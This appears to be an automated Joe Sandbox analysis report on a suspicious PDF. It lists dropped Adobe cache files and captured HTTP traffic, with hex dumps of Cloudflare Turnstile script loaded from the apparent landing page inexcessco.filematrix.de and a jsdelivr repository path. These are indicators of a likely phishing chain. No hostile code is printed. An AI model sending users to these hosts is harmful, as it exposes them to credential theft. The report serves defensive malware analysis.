General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\80f94f1b-e04b-4f23-b418-dd9d732fa85e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250320151113Z-165.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7528

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Windows Analysis Report
t8f2gm11IC.pdf

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:47 UTC	674	OUT	GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://inexcessco.filematrix.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:47 UTC	683	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 53 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=600, s-maxage=600 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/plain; charset=utf-8 ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4" Accept-Ranges: bytes Age: 462 Date: Thu, 20 Mar 2025 15:11:47 GMT X-Served-By: cache-fra-etou8220171-FRA, cache-lga21986-LGA X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-20 15:11:47 UTC	53	IN	Data Raw: 46 61 69 6c 65 64 20 74 6f 20 66 65 74 63 68 20 76 65 72 73 69 6f 6e 20 69 6e 66 6f 20 66 6f 72 20 70 72 61 6e 61 79 6e 61 6d 6e 61 69 6b 2f 66 69 6c 65 73 2e Data Ascii: Failed to fetch version info for pranaynamnaik/files.

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:47 UTC	593	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://inexcessco.filematrix.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:48 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 20 Mar 2025 15:11:48 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 923624e5ca6cde94-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:48 UTC	608	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://inexcessco.filematrix.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:48 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:11:48 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 923624e8ee6118c0-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:11:48 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-20 15:11:48 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-20 15:11:48 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-20 15:11:48 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-20 15:11:48 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-20 15:11:48 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-20 15:11:48 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-20 15:11:48 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-20 15:11:48 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-20 15:11:48 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:49 UTC	849	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/c9wks/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://inexcessco.filematrix.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:49 UTC	1297	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:11:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28402 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-q07pI0eKaEdgzwTW' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-20 15:11:49 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-03-20 15:11:49 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 71 30 37 70 49 30 65 4b 61 45 64 67 7a 77 54 57 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-q07pI0eKaEdgzwTW' 'unsafe-
